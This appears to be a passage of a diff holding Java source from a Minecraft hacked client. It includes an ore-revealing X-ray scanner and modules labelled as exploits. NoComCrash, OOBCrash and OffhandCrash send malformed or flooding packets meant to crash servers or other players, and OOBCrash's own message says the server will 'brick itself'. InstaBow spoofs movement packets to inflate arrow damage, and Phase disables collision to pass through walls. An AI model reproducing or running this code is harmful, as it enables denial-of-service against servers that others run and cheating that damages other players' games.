oreColors.put(Blocks.DEEPSLATE_COAL_ORE, new Color(47, 44, 54));
|
||||
oreColors.put(Blocks.DEEPSLATE_IRON_ORE, new Color(236, 173, 119));
|
||||
oreColors.put(Blocks.DEEPSLATE_GOLD_ORE, new Color(247, 229, 30));
|
||||
oreColors.put(Blocks.DEEPSLATE_REDSTONE_ORE, new Color(245, 7, 23));
|
||||
oreColors.put(Blocks.DEEPSLATE_DIAMOND_ORE, new Color(33, 244, 255));
|
||||
oreColors.put(Blocks.DEEPSLATE_LAPIS_ORE, new Color(8, 26, 189));
|
||||
oreColors.put(Blocks.DEEPSLATE_COPPER_ORE, new Color(239, 151, 0));
|
||||
oreColors.put(Blocks.DEEPSLATE_EMERALD_ORE, new Color(27, 209, 45));
|
||||
}
|
||||
|
||||
@Override public void onFastTick() {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
if (scannedBlocks.size() > cacheSize.getValue() || toScan.isEmpty()) {
|
||||
toScan.clear();
|
||||
//hits.clear();
|
||||
if (!scanned) {
|
||||
Notification.create(6000, "", true, "done scanning");
|
||||
}
|
||||
scanned = true;
|
||||
return;
|
||||
}
|
||||
BlockPos blockPos = toScan.get(0);
|
||||
toScan.remove(blockPos);
|
||||
BlockPos right = blockPos.add(1, 0, 0);
|
||||
BlockPos left = blockPos.add(-1, 0, 0);
|
||||
BlockPos fw = blockPos.add(0, 0, 1);
|
||||
BlockPos bw = blockPos.add(0, 0, -1);
|
||||
BlockPos up = blockPos.add(0, 1, 0);
|
||||
BlockPos down = blockPos.add(0, -1, 0);
|
||||
for (BlockPos pos : new BlockPos[]{right, left, fw, bw, up, down}) {
|
||||
boolean hadObstacle = false;
|
||||
int y = pos.getY();
|
||||
while (!Objects.requireNonNull(SipoverPrivate.client.world).isOutOfHeightLimit(y)) {
|
||||
BlockPos current = new BlockPos(pos.getX(), y, pos.getZ());
|
||||
if (!bs(current).isAir()) {
|
||||
hadObstacle = true;
|
||||
break;
|
||||
}
|
||||
y++;
|
||||
}
|
||||
if (hadObstacle && (bs(pos).isAir() || (includeTranslucent.getValue() && !bs(pos).getMaterial().blocksLight()))) {
|
||||
if (!scannedBlocks.contains(pos)) {
|
||||
toScan.add(pos);
|
||||
scannedBlocks.add(pos);
|
||||
}
|
||||
} else if (bs(pos).isFullCube(SipoverPrivate.client.world, pos) && circ.stream().noneMatch(blockPosListEntry -> blockPosListEntry.getKey().equals(pos))) {
|
||||
Vec3d renderR = new Vec3d(pos.getX(), pos.getY(), pos.getZ());
|
||||
Vec3d end = renderR.add(new Vec3d(1, 1, 1));
|
||||
float x1 = (float) renderR.x;
|
||||
float y1 = (float) renderR.y;
|
||||
float z1 = (float) renderR.z;
|
||||
float x2 = (float) end.x;
|
||||
float y2 = (float) end.y;
|
||||
float z2 = (float) end.z;
|
||||
List<Vec3d> vertecies = new ArrayList<>();
|
||||
float offset = 0.005f;
|
||||
if (bs(pos.add(0, 1, 0)).isAir()) {
|
||||
vertecies.add(new Vec3d(x1, y2 + offset, z1));
|
||||
vertecies.add(new Vec3d(x1, y2 + offset, z2));
|
||||
|
||||
vertecies.add(new Vec3d(x1, y2 + offset, z2));
|
||||
vertecies.add(new Vec3d(x2, y2 + offset, z2));
|
||||
|
||||
vertecies.add(new Vec3d(x2, y2 + offset, z2));
|
||||
vertecies.add(new Vec3d(x2, y2 + offset, z1));
|
||||
|
||||
vertecies.add(new Vec3d(x2, y2 + offset, z1));
|
||||
vertecies.add(new Vec3d(x1, y2 + offset, z1));
|
||||
}
|
||||
|
||||
// right
|
||||
if (bs(pos.add(0, 0, 1)).isAir()) {
|
||||
vertecies.add(new Vec3d(x1, y1, z2 + offset));
|
||||
vertecies.add(new Vec3d(x2, y1, z2 + offset));
|
||||
|
||||
vertecies.add(new Vec3d(x2, y1, z2 + offset));
|
||||
vertecies.add(new Vec3d(x2, y2, z2 + offset));
|
||||
|
||||
vertecies.add(new Vec3d(x2, y2, z2 + offset));
|
||||
vertecies.add(new Vec3d(x1, y2, z2 + offset));
|
||||
|
||||
vertecies.add(new Vec3d(x1, y2, z2 + offset));
|
||||
vertecies.add(new Vec3d(x1, y1, z2 + offset));
|
||||
}
|
||||
|
||||
// front
|
||||
if (bs(pos.add(1, 0, 0)).isAir()) {
|
||||
vertecies.add(new Vec3d(x2 + offset, y2, z2));
|
||||
vertecies.add(new Vec3d(x2 + offset, y1, z2));
|
||||
|
||||
vertecies.add(new Vec3d(x2 + offset, y1, z2));
|
||||
vertecies.add(new Vec3d(x2 + offset, y1, z1));
|
||||
|
||||
vertecies.add(new Vec3d(x2 + offset, y1, z1));
|
||||
vertecies.add(new Vec3d(x2 + offset, y2, z1));
|
||||
|
||||
vertecies.add(new Vec3d(x2 + offset, y2, z1));
|
||||
vertecies.add(new Vec3d(x2 + offset, y2, z2));
|
||||
}
|
||||
|
||||
// left
|
||||
if (bs(pos.add(0, 0, -1)).isAir()) {
|
||||
vertecies.add(new Vec3d(x2, y2, z1 - offset));
|
||||
vertecies.add(new Vec3d(x2, y1, z1 - offset));
|
||||
|
||||
vertecies.add(new Vec3d(x2, y1, z1 - offset));
|
||||
vertecies.add(new Vec3d(x1, y1, z1 - offset));
|
||||
|
||||
vertecies.add(new Vec3d(x1, y1, z1 - offset));
|
||||
vertecies.add(new Vec3d(x1, y2, z1 - offset));
|
||||
|
||||
vertecies.add(new Vec3d(x1, y2, z1 - offset));
|
||||
vertecies.add(new Vec3d(x2, y2, z1 - offset));
|
||||
}
|
||||
|
||||
// back
|
||||
if (bs(pos.add(-1, 0, 0)).isAir()) {
|
||||
vertecies.add(new Vec3d(x1 - offset, y2, z1));
|
||||
vertecies.add(new Vec3d(x1 - offset, y1, z1));
|
||||
|
||||
vertecies.add(new Vec3d(x1 - offset, y1, z1));
|
||||
vertecies.add(new Vec3d(x1 - offset, y1, z2));
|
||||
|
||||
vertecies.add(new Vec3d(x1 - offset, y1, z2));
|
||||
vertecies.add(new Vec3d(x1 - offset, y2, z2));
|
||||
|
||||
vertecies.add(new Vec3d(x1 - offset, y2, z2));
|
||||
vertecies.add(new Vec3d(x1 - offset, y2, z1));
|
||||
}
|
||||
|
||||
// down
|
||||
if (bs(pos.add(0, -1, 0)).isAir()) {
|
||||
vertecies.add(new Vec3d(x1, y1 - offset, z1));
|
||||
vertecies.add(new Vec3d(x2, y1 - offset, z1));
|
||||
|
||||
vertecies.add(new Vec3d(x2, y1 - offset, z1));
|
||||
vertecies.add(new Vec3d(x2, y1 - offset, z2));
|
||||
|
||||
vertecies.add(new Vec3d(x2, y1 - offset, z2));
|
||||
vertecies.add(new Vec3d(x1, y1 - offset, z2));
|
||||
|
||||
vertecies.add(new Vec3d(x1, y1 - offset, z2));
|
||||
vertecies.add(new Vec3d(x1, y1 - offset, z1));
|
||||
}
|
||||
Map.Entry<BlockPos, List<Vec3d>> e = new AbstractMap.SimpleEntry<>(pos, vertecies);
|
||||
circ.add(e);
|
||||
}
|
||||
if (XRAY.blocks.contains(bs(pos).getBlock())) {
|
||||
if (!ores.contains(pos)) {
|
||||
ores.add(pos);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
boolean shouldRenderOre(Block b) {
|
||||
return (b == Blocks.COAL_ORE || b == Blocks.DEEPSLATE_COAL_ORE) && coal.getValue() || (b == Blocks.IRON_ORE || b == Blocks.DEEPSLATE_IRON_ORE) && iron.getValue() || (b == Blocks.GOLD_ORE || b == Blocks.DEEPSLATE_GOLD_ORE) && gold.getValue() || (b == Blocks.REDSTONE_ORE || b == Blocks.DEEPSLATE_REDSTONE_ORE) && redstone.getValue() || (b == Blocks.DIAMOND_ORE || b == Blocks.DEEPSLATE_DIAMOND_ORE) && diamond.getValue() || (b == Blocks.LAPIS_ORE || b == Blocks.DEEPSLATE_LAPIS_ORE) && lapis.getValue() || (b == Blocks.COPPER_ORE || b == Blocks.DEEPSLATE_COPPER_ORE) && copper.getValue() || (b == Blocks.EMERALD_ORE || b == Blocks.DEEPSLATE_EMERALD_ORE) && emerald.getValue() || b == Blocks.NETHER_QUARTZ_ORE && quartz.getValue() || b == Blocks.ANCIENT_DEBRIS && debris.getValue();
|
||||
|
||||
}
|
||||
|
||||
BlockState bs(BlockPos bp) {
|
||||
return Objects.requireNonNull(SipoverPrivate.client.world).getBlockState(bp);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
scannedBlocks.clear();
|
||||
toScan.clear();
|
||||
ores.clear();
|
||||
circ.clear();
|
||||
start = Objects.requireNonNull(SipoverPrivate.client.player).getBlockPos();
|
||||
toScan.add(start);
|
||||
scanned = false;
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return scannedBlocks.size() + "S|" + new ArrayList<>(this.ores).stream()
|
||||
.filter(blockPos -> shouldRenderOre(Objects.requireNonNull(SipoverPrivate.client.world).getBlockState(blockPos).getBlock()))
|
||||
.count() + "F|" + Utils.Math.roundToDecimal((double) new ArrayList<>(this.ores).stream()
|
||||
.filter(blockPos -> shouldRenderOre(Objects.requireNonNull(SipoverPrivate.client.world).getBlockState(blockPos).getBlock())).count() / scannedBlocks.size() * 100, 2) + "%D";
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
for (BlockPos hit : new ArrayList<>(toScan)) {
|
||||
if (hit == null) {
|
||||
continue;
|
||||
}
|
||||
Renderer.R3D.renderOutline(new Vec3d(hit.getX(), hit.getY(), hit.getZ()), new Vec3d(1, 1, 1), Color.WHITE, matrices);
|
||||
}
|
||||
List<Map.Entry<BlockPos, List<Vec3d>>> real = new ArrayList<>(circ);
|
||||
|
||||
Camera cam = SipoverPrivate.client.gameRenderer.getCamera();
|
||||
BufferBuilder buffer = Tessellator.getInstance().getBuffer();
|
||||
RenderSystem.setShader(GameRenderer::getPositionColorShader);
|
||||
GL11.glDepthFunc(GL11.GL_ALWAYS);
|
||||
RenderSystem.setShaderColor(1f, 1f, 1f, 1f);
|
||||
RenderSystem.defaultBlendFunc();
|
||||
RenderSystem.enableBlend();
|
||||
RenderSystem.disableCull();
|
||||
Matrix4f matrix = matrices.peek().getPositionMatrix();
|
||||
buffer.begin(VertexFormat.DrawMode.DEBUG_LINES, VertexFormats.POSITION_COLOR);
|
||||
|
||||
if (showScanned.getValue()) {
|
||||
for (int i = 0; i < real.size(); i++) {
|
||||
Map.Entry<BlockPos, List<Vec3d>> entry = real.get(i);
|
||||
if (entry == null) {
|
||||
continue;
|
||||
}
|
||||
if (ores.contains(entry.getKey())) {
|
||||
continue;
|
||||
}
|
||||
double dist = new Vec3d(entry.getKey().getX(), entry.getKey().getY(), entry.getKey().getZ()).distanceTo(Objects.requireNonNull(SipoverPrivate.client.player).getPos());
|
||||
dist = (1 - MathHelper.clamp(dist, 0, 15) / 15d) * 3d;
|
||||
dist = Math.round(dist);
|
||||
dist /= 3;
|
||||
if (showEntire.getValue()) {
|
||||
dist = 1;
|
||||
}
|
||||
float p = (float) i / real.size();
|
||||
double s = (System.currentTimeMillis() % 3000) / (double) 3000;
|
||||
p += s;
|
||||
p %= 1;
|
||||
Color c = Renderer.Util.modify(Color.getHSBColor(p, 0.5f, 1f), -1, -1, -1, (int) (dist * 255));
|
||||
{
|
||||
float red = c.getRed() / 255f;
|
||||
float green = c.getGreen() / 255f;
|
||||
float blue = c.getBlue() / 255f;
|
||||
float alpha = c.getAlpha() / 255f;
|
||||
Vec3d camPos = cam.getPos();
|
||||
|
||||
for (Vec3d vec3d : entry.getValue()) {
|
||||
Vec3d pp = vec3d.subtract(camPos);
|
||||
buffer.vertex(matrix, (float) pp.x, (float) pp.y, (float) pp.z).color(red, green, blue, alpha).next();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
buffer.end();
|
||||
BufferRenderer.draw(buffer);
|
||||
GL11.glDepthFunc(GL11.GL_LEQUAL);
|
||||
RenderSystem.disableBlend();
|
||||
RenderSystem.enableCull();
|
||||
|
||||
for (BlockPos ore : new ArrayList<>(this.ores)) {
|
||||
if (ore == null) {
|
||||
continue;
|
||||
}
|
||||
Block t = Objects.requireNonNull(SipoverPrivate.client.world).getBlockState(ore).getBlock();
|
||||
if (!shouldRenderOre(t)) {
|
||||
continue;
|
||||
}
|
||||
Vec3d p = new Vec3d(ore.getX(), ore.getY(), ore.getZ());
|
||||
double dist = p.distanceTo(Objects.requireNonNull(SipoverPrivate.client.player).getPos());
|
||||
dist = MathHelper.clamp(dist, 0, 30);
|
||||
Renderer.R3D.renderFilled(p, new Vec3d(1, 1, 1), Renderer.Util.modify(oreColors.containsKey(t) ? oreColors.get(t) : new Color(SipoverPrivate.client.world.getBlockState(ore)
|
||||
.getMapColor(SipoverPrivate.client.world, ore).color), -1, -1, -1, (int) ((dist / 30d) * 200)), matrices);
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,118 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.BooleanSetting;
|
||||
import me.x150.sipprivate.config.IntSetting;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.Rotations;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.EntityType;
|
||||
import net.minecraft.entity.LivingEntity;
|
||||
import net.minecraft.item.BowItem;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.network.packet.c2s.play.ClientCommandC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
public class InstaBow extends Module {
|
||||
|
||||
IntSetting it = this.config.create(new IntSetting.Builder(40).name("Iterations").description("How often to spoof velocity (more = bigger damage)").min(5).max(100).get());
|
||||
BooleanSetting autoFire = this.config.create(new BooleanSetting.Builder(false).name("Auto fire").description("Automatically fire the bow when its held and an entity is on the same Y").get());
|
||||
|
||||
public InstaBow() {
|
||||
super("InstaBow", "SUPERCHARGE YOUR BOW", ModuleType.EXPLOIT);
|
||||
Events.registerEventHandler(EventType.PACKET_SEND, event -> {
|
||||
if (!this.isEnabled()) {
|
||||
return;
|
||||
}
|
||||
PacketEvent pe = (PacketEvent) event;
|
||||
if (pe.getPacket() instanceof PlayerActionC2SPacket packet && packet.getAction() == PlayerActionC2SPacket.Action.RELEASE_USE_ITEM) {
|
||||
Vec3d a = SipoverPrivate.client.player.getPos().subtract(0, 1e-10, 0);
|
||||
Vec3d b = SipoverPrivate.client.player.getPos().add(0, 1e-10, 0);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(new ClientCommandC2SPacket(SipoverPrivate.client.player, ClientCommandC2SPacket.Mode.START_SPRINTING));
|
||||
// ModuleRegistry.getByClass(NoFall.class).enabled = false; // disable nofall modifying packets when we send these
|
||||
for (int i = 0; i < it.getValue(); i++) {
|
||||
PlayerMoveC2SPacket p = new PlayerMoveC2SPacket.PositionAndOnGround(a.x, a.y, a.z, true);
|
||||
PlayerMoveC2SPacket p1 = new PlayerMoveC2SPacket.PositionAndOnGround(b.x, b.y, b.z, false);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(p);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(p1);
|
||||
}
|
||||
// ModuleRegistry.getByClass(NoFall.class).enabled = true;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
if (!autoFire.getValue()) {
|
||||
return;
|
||||
}
|
||||
Vec3d ep = SipoverPrivate.client.player.getEyePos();
|
||||
Entity nearestApplicable = null;
|
||||
for (Entity entity : SipoverPrivate.client.world.getEntities()) {
|
||||
if (entity.getType() == EntityType.ENDERMAN) {
|
||||
continue;
|
||||
}
|
||||
if (!(entity instanceof LivingEntity ent) || !ent.isAttackable() || ent.isDead() || entity.equals(SipoverPrivate.client.player)) {
|
||||
continue;
|
||||
}
|
||||
Vec3d origin = entity.getPos();
|
||||
float h = entity.getHeight();
|
||||
Vec3d upper = origin.add(0, h, 0);
|
||||
Vec3d center = entity.getPos().add(0, h / 2f, 0);
|
||||
if (Utils.Math.isABObstructed(ep, center, SipoverPrivate.client.world, SipoverPrivate.client.player)) {
|
||||
continue;
|
||||
}
|
||||
if (ep.y < upper.y && ep.y > origin.y) { // entity's on our Y
|
||||
if (nearestApplicable == null || nearestApplicable.distanceTo(SipoverPrivate.client.player) > origin.distanceTo(SipoverPrivate.client.player.getPos())) {
|
||||
nearestApplicable = entity;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (nearestApplicable == null) {
|
||||
return;
|
||||
}
|
||||
if (SipoverPrivate.client.player.isUsingItem() && SipoverPrivate.client.player.getMainHandStack().getItem() == Items.BOW) {
|
||||
BowItem be = (BowItem) SipoverPrivate.client.player.getMainHandStack().getItem();
|
||||
int p = be.getMaxUseTime(null) - SipoverPrivate.client.player.getItemUseTimeLeft();
|
||||
if (BowItem.getPullProgress(p) > 0.1) {
|
||||
Rotations.lookAtV3(nearestApplicable.getPos().add(0, nearestApplicable.getHeight() / 2f, 0));
|
||||
SipoverPrivate.client.getNetworkHandler()
|
||||
.sendPacket(new PlayerMoveC2SPacket.LookAndOnGround(Rotations.getClientYaw(), Rotations.getClientPitch(), SipoverPrivate.client.player.isOnGround()));
|
||||
SipoverPrivate.client.interactionManager.stopUsingItem(SipoverPrivate.client.player);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,89 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.EnumSetting;
|
||||
import me.x150.sipprivate.config.IntSetting;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.nbt.NbtCompound;
|
||||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
|
||||
import net.minecraft.util.Hand;
|
||||
import net.minecraft.util.hit.BlockHitResult;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Direction;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.util.Objects;
|
||||
import java.util.Random;
|
||||
|
||||
public class NoComCrash extends Module {
|
||||
final Random r = new Random();
|
||||
IntSetting packets = this.config.create(new IntSetting.Builder(5).name("Packets per tick").description("How many crash packets to send per tick").min(1).max(100).get());
|
||||
EnumSetting<Method> method = this.config.create(new EnumSetting.Builder<>(Method.Interact).name("Method")
|
||||
.description("Chunk loading method. Interact works on vanilla/spigot, BLT on creative mode").get());
|
||||
int i = 0;
|
||||
public NoComCrash() {
|
||||
super("NoComCrash", "Crashes servers with several out of range chunk funnies", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
for (int i = 0; i < packets.getValue(); i++) {
|
||||
Vec3d cpos = pickRandomPos();
|
||||
if (method.getValue() == Method.Interact) {
|
||||
PlayerInteractBlockC2SPacket packet = new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(cpos, Direction.DOWN, new BlockPos(cpos), false));
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(packet);
|
||||
} else {
|
||||
ItemStack stack = new ItemStack(Items.OAK_SIGN, 1);
|
||||
NbtCompound nbt = stack.getOrCreateSubNbt("BlockEntityTag");
|
||||
nbt.putInt("x", (int) cpos.x);
|
||||
nbt.putInt("y", (int) cpos.y);
|
||||
nbt.putInt("z", (int) cpos.z);
|
||||
// stack.setSubNbt("BlockEntityTag", nbt);
|
||||
CreativeInventoryActionC2SPacket packet = new CreativeInventoryActionC2SPacket(1, stack);
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(packet);
|
||||
}
|
||||
this.i++;
|
||||
}
|
||||
}
|
||||
|
||||
Vec3d pickRandomPos() {
|
||||
int x = r.nextInt(16777215);
|
||||
int y = 255;
|
||||
int z = r.nextInt(16777215);
|
||||
return new Vec3d(x, y, z);
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
i = 0;
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return i == 0 ? "Waiting" : i + " " + (i == 1 ? "packet" : "packets") + " sent";
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
public enum Method {
|
||||
Interact, BLT
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
|
||||
import net.minecraft.util.Hand;
|
||||
import net.minecraft.util.hit.BlockHitResult;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Direction;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class OOBCrash extends Module {
|
||||
|
||||
public OOBCrash() {
|
||||
super("OOBCrash", "Bricks the server after doing the funny. Vanilla and spigot only", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
BlockHitResult bhr = new BlockHitResult(Objects.requireNonNull(SipoverPrivate.client.player)
|
||||
.getPos(), Direction.DOWN, new BlockPos(new Vec3d(Double.POSITIVE_INFINITY, 5, Double.POSITIVE_INFINITY)), false);
|
||||
PlayerInteractBlockC2SPacket p = new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr);
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(p);
|
||||
Utils.Logging.messageChat("Wait a bit for this to complete, the server will run fine again for about 5 minutes. After that, it will just brick itself.");
|
||||
setEnabled(false);
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.IntSetting;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Direction;
|
||||
|
||||
public class OffhandCrash extends Module {
|
||||
|
||||
IntSetting a = this.config.create(new IntSetting.Builder(500).name("Amount").description("How many crash packets to send per tick").min(10).max(10000).get());
|
||||
|
||||
public OffhandCrash() {
|
||||
super("OffhandCrash", "crashes players with offhand packets", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
try {
|
||||
if (SipoverPrivate.client.player == null || SipoverPrivate.client.getNetworkHandler() == null) {
|
||||
throw new Exception();
|
||||
}
|
||||
PlayerActionC2SPacket p = new PlayerActionC2SPacket(PlayerActionC2SPacket.Action.SWAP_ITEM_WITH_OFFHAND, BlockPos.ORIGIN, Direction.DOWN);
|
||||
for (int i = 0; i < a.getValue(); i++) {
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(p);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
this.setEnabled(false);
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return (a.getValue() * 20) + "";
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.helper.event.events.PlayerNoClipQueryEvent;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.entity.EntityPose;
|
||||
import net.minecraft.entity.player.PlayerEntity;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
|
||||
import net.minecraft.util.math.Box;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class Phase extends Module {
|
||||
|
||||
public Phase() {
|
||||
super("Phase", "go through walls like a ghost", ModuleType.EXPLOIT);
|
||||
Events.registerEventHandler(EventType.PACKET_SEND, event -> {
|
||||
if (!this.isEnabled() || SipoverPrivate.client.player == null || !SipoverPrivate.client.player.getAbilities().flying) {
|
||||
return;
|
||||
}
|
||||
PacketEvent pe = (PacketEvent) event;
|
||||
Box p = SipoverPrivate.client.player.getBoundingBox(SipoverPrivate.client.player.getPose()).offset(0, 0.27, 0).expand(0.25);
|
||||
if (p.getYLength() < 2) {
|
||||
p = p.expand(0, 1, 0);
|
||||
}
|
||||
p = p.offset(SipoverPrivate.client.player.getPos());
|
||||
if (pe.getPacket() instanceof PlayerMoveC2SPacket && !Objects.requireNonNull(SipoverPrivate.client.world).isSpaceEmpty(SipoverPrivate.client.player, p)) {
|
||||
event.setCancelled(true);
|
||||
}
|
||||
});
|
||||
Events.registerEventHandler(EventType.NOCLIP_QUERY, event -> {
|
||||
if (!getNoClipState(((PlayerNoClipQueryEvent) event).getPlayer())) {
|
||||
return;
|
||||
}
|
||||
((PlayerNoClipQueryEvent) event).setNoClipState(PlayerNoClipQueryEvent.NoClipState.ACTIVE);
|
||||
});
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
}
|
||||
|
||||
public boolean getNoClipState(PlayerEntity pe) {
|
||||
return this.isEnabled() && pe.getAbilities().flying;
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
Objects.requireNonNull(SipoverPrivate.client.player).setPose(EntityPose.STANDING);
|
||||
SipoverPrivate.client.player.setOnGround(false);
|
||||
SipoverPrivate.client.player.fallDistance = 0;
|
||||
SipoverPrivate.client.player.setVelocity(0, 0, 0);
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return getNoClipState(SipoverPrivate.client.player) ? "Active" : null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
if (Objects.requireNonNull(SipoverPrivate.client.player).getAbilities().flying) {
|
||||
SipoverPrivate.client.player.setPose(EntityPose.STANDING);
|
||||
SipoverPrivate.client.player.setOnGround(false);
|
||||
SipoverPrivate.client.player.fallDistance = 0;
|
||||
//SipoverPrivate.client.player.setVelocity(0,0,0);
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,68 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
